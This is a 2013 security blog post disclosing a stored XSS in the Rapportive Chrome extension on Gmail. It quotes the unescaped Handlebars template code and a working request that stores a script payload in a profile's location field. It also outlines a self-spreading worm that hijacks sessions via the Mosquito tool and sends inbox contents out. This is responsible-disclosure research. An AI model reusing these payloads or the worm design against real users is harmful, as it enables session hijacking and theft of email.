Friday, December 27, 2013

Rapportive XSSes Gmail or have yourself a merry little botnet...

tldr: Learn how to code audit Handlebars applications. Xss in extension = fun times. Mosquito gets new features.

It's that magical time of the year, when wonders happen... Everyone's getting big presents. I was apparently naughty, cause I only got one XSS. What can one do? If life gives you lemons...


you make a lemonade. And I don't mean Google juice - it does not qualify.

But XSS on Gmail?!

You see, the code executing on mail.google.com domain is not always the one belonging to Google, subject to their bug bounty. Unfortunately, there's much, much code coming from all other domains too, that does not come close to Google quality. I'm of course talking about browser extensions. I've been researching this subject for two years now, with quite a few results, and if I had to sum it all up in one sentence it would be:

Browser extensions are badly coded, can affect your website with their vulnerabilities and there's nothing you can do about it.

And this is exactly the case here: We have a top-notch Gmail application and a very popular extension that reduces Gmail to a lousy PHPBB-like forum full of XSSes. But this time, I decided to push the matter forward and demonstrate what's possible when one can execute JS in Gmail origin. But first, let me introduce you to our today's hero, Rapportive.

Rapportive (or LinkedIn Intro--)

Rapportive is, among other things, a Chrome Extension (link) that "(...) shows you everything about your contacts right inside your inbox". The analyzed version (over 250000 users) is 1.4.1. Looking at it's security history, Jordan Wright has looked at Rapportive in the past and (ab)used it for social engineering info gathering - I couldn't find anything else.

Business-wise Rapportive became so popular, that LinkedIn bought it and the team behind it is now responsible for LinkedIn Intro. Go figure.

The extension is very thin. It only works on https://mail.google.com website and just loads the main code from https://rapportive.com/ by creating script nodes (that's why code updates don't require Chrome extension reinstallation). The main function of the script is to display rich info about the current Gmail contact in Gmail sidebar. Like this:

Current user = the one you highlighted, the one you write an email to, the one you're displaying conversation with etc. Once you sign up (via Google Account OAuth), you can also edit your info, that will show up to other users (you don't need to be related to the user or have previous conversation history). And, of course, within that info, there was a stored XSS (the vulnerability was reported and fixed before publishing this post). Let's look at what caused that vulnerability.

Handlebars

Rapportive makes heavy usage of Handlebars - a JS templating engine. Like most of the current templating engines, it autoescapes the content, sanitizing it. Unless you ask it not to. by using {{{i_like_to_rock}}} instead of {{smooth_jazz_for_me}}In that case, you need to carefully escape not-trusted data yourself. To check for vulnerable places, you just need to look for {{{ in Handlebar templates. This is one example of what I've found in Rapportive:
client.templates["basic_info/_image_and_location"] = 
  Handlebars.compile("<table class=\"basics\">... {{{ format_location contact/location }}}\n ...");
// triple {{{ marks the data as HTML and skips HTML escaping
// contact/location is the value fetched from the server

// format_location helper forwards to tracked_link helper
helpers.format_location = function (params, location) {
  return helpers.tracked_link.call(this, 
    params, 
    'http://maps.google.com/maps?q=' + encodeURIComponent(location),  // href
    'Location link clicked', // tracking_tex
    'location', // css_classes
    function () { // block
      return location.replace(/^([^,]*,[^,]*),.*/, '$1');
      // look ma, no escaping here!
    });
} else {
  return '';
}

// tracked_link wraps that into a link and compiles using handlebar() function
helpers.tracked_link = function (params, href, tracking_text, css_classes, block) {
  return handlebar(params, 
      ['<a href="{{href}}" class="{{css}}" ',
      'onclick="if (rapportiveLogger) { rapportiveLogger.track(\'{{track}}\'); } return true;" target="_blank"', 
      '>{{{contents}}}</a>'], // again, notice triple {{{, no escaping will be done
      {
        href: ((href[0] === '/') ? params.rapportive_base_url : '') + href,
        css: css_classes,
        track: tracking_text,
        contents: block && block(this) // evaluates block function, passing result to contents
      });
};

// for completeness sake
function handlebar(params, template, context) {
  if (template instanceof Array) {
    template = template.join("");
  }
  return Handlebars.compile(template)(context, params.bound_helpers);
}
So, contact/location value (fetched from a server) ends up in HTML not sanitized (it's only trimmed on 2nd ","). You can control the value in the UI by editing your current location in the profile or just storing it directly on the server and refreshing:
rapportive.request({
    data: {
        _method: "put",
        client_version: rapportive.client_version_base,
        new_value: '"><script>alert(document.domain)</script>',
        user_email: rapportive.user_email
    },
    path: "/contacts/email/" + rapportive.user_email + "/location?_method=put&amp;user_email=" + escape(rapportive.user_email),
});
As you can see, nothing fancy. But it's not just a boring self-xss. What makes it interesting is that:
  • it runs at https://mail.google.com - a very popular domain
  • it's stored
  • It will execute in other users account (in their Gmail application they only need to e.g. look at your emails, search for you etc.)
  • it's totally outside control of the application owner (Google) as the injection happens through the browser extension
All these factors make it a very powerful XSS, capable of creating a spreading worm. And that's exactly what I'll demonstrate with Mosquito

Mosquito?

Mosquito is a tool I wrote some time ago to leverage exploiting XSS in Google Chrome extensions:
Mosquito is a XSS exploitation tool allowing an attacker to set up a HTTP proxy and leverage XSS to issue arbitrary HTTP requests through victim browser (and victim cookies).
Mosquito is extremely valuable when exploiting Google Chrome extensions, because via using XSS is extension content script it can usually issue arbitrary cross-domain HTTP requests (breaking the usual Same Origin Policy restrictions).
Basically, via WebSocket magic it allows you to hijack victim(s) browser(s) and use your local HTTP proxy to send arbitrary HTTP requests through victim with his/hers cookies. So, with mosquito and one XSS you can hijack a browsing session, without knowing the cookies, proving again that httpOnly is just a snakeoil. Very easy, very effective. If you'd like to know more about the tool, look at github.com/koto/mosquito/ or see a demo on slide 40 here. Rapportive XSS looks like a perfect playground for mosquito.

How to start a botnet?

Well, to make a successful botnet, you need:
  • a vulnerability
  • a spreading mechanism
  • command & control
We already have the vulnerability - we can inject arbitrary JS code into location details. Spreading mechanism is easy as well. As the vulnerability triggers when victim (using Rapportive) views our profile, we can e.g.
  • send a link to the search results: https://mail.google.com/mail/u/0/#search/infected%40gmail.com ,hoping they click on any result,
  • send them an e-mail,
  • convince them to write us an e-mail,
  • ... or just wait. Someone will eventually look up infected accounts.
Of course, once the infected profile has been loaded, the code embeds the infection in current user profile, spreading the disease further.

As for command & control, one can e.g. use Mosquito which will be able to hijack Gmail sessions.

Demo

Let's see that in action - starting an infection from evilhacker111@gmail.com into other *victim*@gmail.com. Payload used in attack:
  1. hooks victim to Mosquito
  2. extracts Rapportive authorize and session IDs (these allow attacker to interact with Rapportive API on behalf of victim)
  3. sends Inbox contents and a few contacts to attacker via e-mail (just for fun)
Look at the demo (notice the new http://mosquito control panel, allowing the attacker to switch between hooked sessions):

Timeline

2013-12-20 - Sent vulnerability details to vendor, no response
2013-12-21 - Repeated contact, no response
2013-12-27 - Repeated contact, vendor response
2013-12-27 - Fix and public disclosure

Summary

When dealing with templates, be careful. Avoid {{{ in Handlebars. XSSes are many, but XSS in browser extension is disastrous as it completely breaks the security of websites that the extension is interacting with. Also, I encourage you to try Mosquito to demonstrate XSS vulnerabilities. 

5 comments:

Deepu said...

Thanks..

Alex said...

Awesome :)


Great find and thanks for the demonstration :)

gwapo ko said...

Thanks for this. How much was the bounty?

kkotowicz said...

None, as this isn't a vulnerability in Gmail, but in a 3rd party Chrome extension.


2014/1/4 Disqus

Renu Bisht said...

Rapportive is really amazing and i love it so wrote an awesome review about it here..

http://www.techgreet.com/rapportive-email-contacts-info-tool/